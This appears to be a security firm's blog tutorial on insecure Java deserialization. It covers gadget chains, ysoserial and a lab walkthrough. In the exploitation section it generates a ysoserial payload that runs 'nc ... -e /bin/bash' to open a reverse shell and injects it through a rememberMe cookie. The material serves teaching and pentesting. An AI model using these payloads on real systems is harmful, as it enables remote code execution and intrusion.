Insecure Deserialization in Java

Insecure Deserialization

Computer data is generally organized in data structures such as arrays, records, graphs, classes, or other configurations for efficiency. When data structures need to be stored or transmitted to another location, such as across a network, they need to go through a process called serialization. This process converts and changes the data organization into a linear format that is needed for storage or transmission across computing devices.

So, let’s understand what exactly the term “Serialization” and “Deserialization” mean and how “Insecure Deserialization” vulnerabilities arise.

Serialization & Deserialization

  • Serialization: It is the process of converting the object to some form of data that can be saved to a database or transmitted over a network. The purpose of serialization is to save data for later use such as sending the data over a network or between different components of the application or over an API.
  • Deserialization: It is the reverse of Serialization i.e. when the serialized object is read from a file or network and converted back to an object exactly as it was in the first before serialization.

NOTE: Programming languages support serialization but every programming language has a different approach to deal with the process of serialization. Serialization also has some abbreviations in different programming languages like marshalling in Ruby and pickling in Python.

Insecure Deserialization

Now, after discussing about serialization and deserialization, let’s discuss how insecure deserialization vulnerability arises.

We saw that data is serialized in order to use it or store it for later use, but if this data is user-controllable data and in Deserialization, this data passes out without any input validation, then that is where Insecure Deserialization vulnerability arises.

In other words, Insecure Deserialization occurs when an attacker can manipulate the serialized object and cause unintended consequences in application flow.

Now, let’s talk about insecure deserialization in Java.

Insecure Deserialization in Java

In order to understand deserialization vulnerabilities in java, let’s have a quick review of how serialization and deserialization work in java.

The serialization of java classes is enabled by the class implementing the interface “java.io.Serializable”. Special methods like writeObject() and readObject() are implemented to handle the serialization and deserialization of objects of that call. Classes which do not implement this interface will not have any of their objects serialized or deserialized.

In Java you can override a readObject or writeObject method in the class to execute some extra code during deserialization and serialization. An example:

 1public class Message implements Serializable {
 2    
 3    public setAuthor(String author){
 4	this.author=author;
 5	}
 6
 7	public setMessage(String message){
 8	this.message=message;
 9	}
10
11    private final void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
12        in.defaultReadObject();
13        System.out.println("Read Object Message!");
14    }
15
16    private final void writeObject(ObjectOutputStream out) throws IOException, ClassNotFoundException {
17        out.defaultWriteObject();
18        System.out.println("Write Object Message!");
19    }
20}

If a Message object is serialized, the writeObject method will be called. The readObject method will be called when the object is deserialized.

Let’s create a new Response class:

 1public class Response implements Serializable {
 2    private String author;
 3    private String message;
 4
 5    public setAuthor(String author){
 6	this.author=author;
 7	}
 8
 9	public setMessage(String message){
10	this.message=message;
11	}
12
13    private final void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
14        in.defaultReadObject();
15        System.out.println("Read Object Response!");
16    }
17
18    private final void writeObject(ObjectOutputStream out) throws IOException, ClassNotFoundException {
19        out.defaultWriteObject();
20        System.out.println("Write Object Response!");
21    }
22}
 1// We create a Message instance
 2Message myMessage = new Message();
 3myMessage.setAuthor("DEADSEC");
 4myMessage.setMessage("Hi LEET, how are you doing?");
 5
 6// We create a Answer instance
 7Response myResponse = new Response();
 8myResponse.setAuthor("LEET");
 9myResponse.setMessage("Hi DEADSEC, I'm great!");
10
11// We serialize the Message instance and write it to my_message.ser
12FileOutputStream messageFileOut = new FileOutputStream("my_message.ser");
13ObjectOutputStream messageOut = new ObjectOutputStream(messageFileOut);
14messageOut.writeObject(myMessage);
15messageOut.close();
16messageFileOut.close();
17
18// We serialize the Response instance and write it to my_answer.ser
19FileOutputStream responseFileOut = new FileOutputStream("my_response.ser");
20ObjectOutputStream responseOut = new ObjectOutputStream(responseFileOut);
21answerOut.writeObject(myResponse);
22answerOut.close();
23answerFileOut.close();

We end up with two files; my_message.ser and my_answer.ser.

What will happen if we expect a Message object during deserialization but we provide serialized Response data?

1FileInputStream fileIn = new FileInputStream("my_response.ser");
2ObjectInputStream in = new ObjectInputStream(fileIn);
3Message newMessage = (Message)in.readObject();
4in.close();
5fileIn.close();

If we run the code we see the following output in the console:

1Read Object Response!
2Exception in thread "main" java.lang.ClassCastException: class Response cannot be cast to class Message (Response and Message are in unnamed module of loader 'app')

So what does this mean? We see that we got an exception about our cast, we tried to cast a Response to a Message which threw an error. But.. we also see that the readObject method for the Response class is executed, even if we didn’t do anything with Response in our reading code.

This can be dangerous if we have classes implementing the Serializable interface and the readObject method but run some code which can lead to problems.

 

Identifying Java Serialized Objects

Let’s have a look at both white box and black box approach to identify Java Serialized Objects.

White-Box Approach

If you can search the source code, you should search inside the project for any input controlled by the user to the following Java API for potential insecure deserialization vulnerability:

  • Serializable
  • XMLdecoder
  • XStream with from XML method (xstream version <= v1.46 is vulnerable to the serialization issue)
  • ObjectInputStream with readObject
  • Uses of readObject, readObjectNodData, readResolve or readExternal
  • ObjectInputStream.readUnshared

You can use GadgetInspector to analyze the source code statically.

Black-Box Approach

Java serialized objects can have one of these matching conditions:

  • Starts with AC ED 00 05 in Hex or rO0 in Base64. The screenshot attached is just for example.(You might see this within HTTP requests as cookies or parameters.)

  • The Content-Type header of an HTTP response is set to application/x-java-serialized-object.

Since Java serialized objects contain a lot of characters, it is commonly observed to encode them before transmission. So, check for differences in encoding versions of these conditions as well.

Gadget Chain

Insecure deserialization vulnerabilities potentially result in the ability to remotely execute code on the affected system. Upon deserialization, a combination of side effects performs attacker-supplied actions, similar to executing attacker-supplied code. A combination of side effects is called gadget chain.

A gadget—as used by Lawrence & Frohoff in their talk Marschalling Pickle at AppSecCali 2015—is a class or function that has already existing executable code present in the vulnerable process. This existing executable code can be reused for malicious purposes. If we look at Java serializable objects, some magic methods—like the private readObject() method—are reflectively called when deserializing.

The exploitation strategy is to start with a “kick-off” gadget that’s executed after deserialization and build a chain of instances and method invocations to get to a “sink” gadget that’s able to execute arbitrary code or commands. After attackers manage to get input to a sink gadget, they’ve effectively found a way to own the box.

Gadget Chain

Here’s a basic example of a Java gadget chain in action (lifted more-or-less unchanged from the talk):

 1public class DemoClass implements Serializable {
 2    private final Runnable hook;
 3
 4    public void readObject(ObjectInputStream ois) {
 5        ois.defaultReadObject(); // Populate initHook
 6        hook.run();
 7    }
 8}
 9
10public class CommandTask implements Runnable, Serializable {
11    private final String command;
12
13    // For example, "cmd.exe" is passed into command.
14    public CommandTask(String command) {
15        this.command = command;
16    }
17
18    public void run() {
19        Runtime.getRuntime().exec(command);
20    }
21}

An attacker crafts a serialized CommandTask (containing a string like cmd.exe) and injects it into an input stream that will be read by DemoClass. DemoClass hydrates it into an object, invokes run, and the attacker’s managed to execute an arbitrary command. Exploits in real life aren’t likely to be this easy, but they’ll use the same mechanic.

Everybody who has ever dealt with Java deserialization has already used ysoserial:

ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects.

ysoserial usage can be seen as:

 1$  java -jar ysoserial.jar
 2Y SO SERIAL?
 3Usage: java -jar ysoserial.jar [payload] '[command]'
 4  Available payload types:
 5     Payload             Authors                     Dependencies
 6     -------             -------                     ------------
 7     AspectJWeaver       @Jang                       aspectjweaver:1.9.2, commons-collections:3.2.2
 8     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
 9     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
10     Click1              @artsploit                  click-nodeps:2.3.0, javax.servlet-api:3.1.0
11     Clojure             @JackOfMostTrades           clojure:1.8.0
12     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
13     CommonsCollections1 @frohoff                    commons-collections:3.1
14     CommonsCollections2 @frohoff                    commons-collections4:4.0
15     CommonsCollections3 @frohoff                    commons-collections:3.1
16     CommonsCollections4 @frohoff                    commons-collections4:4.0
17     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
18     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
19     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
20     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
21     Groovy1             @frohoff                    groovy:2.3.9
22     Hibernate1          @mbechler
23     Hibernate2          @mbechler
24     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
25     JRMPClient          @mbechler
26     JRMPListener        @mbechler
27     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
28     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
29     Jdk7u21             @frohoff
30     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
31     MozillaRhino1       @matthias_kaiser            js:1.7R2
32     MozillaRhino2       @_tint0                     js:1.7R2
33     Myfaces1            @mbechler
34     Myfaces2            @mbechler
35     ROME                @mbechler                   rome:1.0
36     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
37     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
38     URLDNS              @gebl
39     Vaadin1             @kai_ullrich                vaadin-server:7.7.14, vaadin-shared:7.7.14
40     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4

Now, let’s set up a lab to look for a demonstration of Java Deserialization:

Lab

NotSoCereal is an exploitation playground for Deserialization issues and at this point it contains issues in Java, PHP, and Python. So, for this blog, we’ll be looking into Java Deserialization Lab

Lab Link: https://binary.notsosecure.com/NotSoCereal_2022.ova

Lab Deployment Guide: https://github.com/NotSoSecure/NotSoCereal-Lab/blob/main/Resources/Deployment/deployment.md

After complete deployment, the lab setup looks like this:

Lab Screenshot

Discovery

We install a plugin in Burp called “Java-Deserialization-Scanner“. this plugin consists of two features: one is for scanning and the other is for generating the exploit based on the ysoserial tool.

  • Click on “Java Website: 16661” link.Lab Screenshot
  • Credentials are provided below. Tick the “Remember Me“ option and Submit. Username: admin Password: passwordScreenshot showing vulnerable login pageNote: The registration functionality is disabled for this application.
  • Capture the HTTP request and send this request to repeater “Right Click -> Send to Repeater”. Forward the request. Click on “send” button in Repeater and observe that the server responds with “rememberMe” cookie which has Java serialized magic string starting with “rO0”.Screenshot showing captured login requestScreenshot showing Base64-encoded serialized data
  • Observe the serialized value after decoding it with base64.Screenshot showing Base64-decoded serialized data
  • Now, turn on the Intercept in Burp and click on “Login“ button.Screenshot showing Login button on post-login page.Burp screenshot showing captured login button request\
  • Send the captured request to DS – Manual Testing. Now, Set the “rememberMe“ cookie value as Insertion point and add the condition “Encoding using Base64“. Now, click on “Attack“. Observe that it is vulnerable to insecure deserialization and it is using “CommonsCollections4“ library.Burp screenshot showing the deserialization vulnerability detected by Java Deserialization Scanner.
    Apache Commons Collections 4 (Sleep): Potentially VULNERABLE!!! Response time: 10013 milliseconds
    Apache Commons Collections 4 Alternate payload (Sleep): Potentially VULNERABLE!!! Response time: 10016 milliseconds
    

Exploitation

  • Now, Exploitation can be done manually as well as using the Burp plugin. One thing to note is that in this lab, the exploitation will be OOB(Out-Of-Band). So, we’re going to generate payload using ysoserial in command-line.
  • Download the YSoSerial utility from following location, and use the following command to check the payloads available. https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  • Capture the IP address and use that to generate the reverse shell payload using following command and capture the generated payload. java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nc 192.168.56.1 3333 -e /bin/bash" | base64 -w0Command line screenshot showing IPv4 address
    Terminal screenshot showing the payload generated from YSoSerial.
  • Start the listener using the following command: nc.exe -lvp 3333Command line screenshot showing opened listener port
  • Now, send the request from DS – Manual Testing to Repeater. Replace the payload generated Step 3 of Exploitation in the “RememberMe“ cookie parameter and click on send.Burp screenshot showing the injected payload in the vulnerable request
  • A connection will be received on reverse shell. Extract the system information using whoami, uname -a command.Command line screenshot showing the reverse shell obtained by payload execution.

Bonus Tip:

Suppose if you encountered a java deserialization bug and ran all ysoserial payloads…but none of them worked and also it is a bit time-consuming process.

There is an awesome tool named GadgetProbe, that takes a wordlist of Java classes, outputs serialized DNS callback objects, and reports what’s lurking in the remote classpath.

The Burp extension automatically integrates with Burp Collaborator to handle DNS callbacks. The extension also includes signatures and an analyzer to identify library versions of popular sources for gadgets.

Download the release and load it in Burp.

That’s all for Java Deserialization, I hope you learned something from this.

Conclusion

In this article, we’ve covered how an attacker may use deserialization to exploit a vulnerable system.

As a Pentester

  • Watch out for any deserilization endpoints (either Java or XStream-based).

As a Developer

  • Do not deserialize untrusted data!

Reference

Synack

UIO

Synopsys

ysoserial

https://cybersync.org/blogs-en/insecure_deserialization_attacks

https://christian-schneider.net/JavaDeserializationSecurityFAQ.html

https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478

https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

https://brandur.org/fragments/gadgets-and-chains

https://frohoff.github.io/appseccali-marshalling-pickles/

https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains-wp.pdf

https://www.synacktiv.com/en/publications/finding-gadgets-like-its-2015-part-1.html

About Payatu

Payatu is a research-powered, CERT-In empaneled cybersecurity consulting company specializing in security assessments of IoT product ecosystem, Web application & Network with a proven track record of securing applications and infrastructure for customers across 20+ countries.

Want to check the security posture of your organization? Browse through Payatu’s Service and get started with the most effective cybersecurity assessments.

Have any specific requirements in mind? Let us know about them here and someone from our team will get in touch with you.

Subscribe to our Newsletter
Subscription Form
DOWNLOAD THE DATASHEET

Fill in your details and get your copy of the datasheet in few seconds

DOWNLOAD THE EBOOK

Fill in your details and get your copy of the ebook in few seconds

Ebook Download
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download ICS Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Cloud Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Code Review Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Red Team Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download DevSecOps Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download Product Security Assessment Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download AI/ML Sample Report
DOWNLOAD A SAMPLE REPORT

Fill in your details and get your copy of sample report in few seconds

Download IoT Sample Report

Let’s make cyberspace secure together!

Requirements

Connect Now Form

What our clients are saying!

Trusted by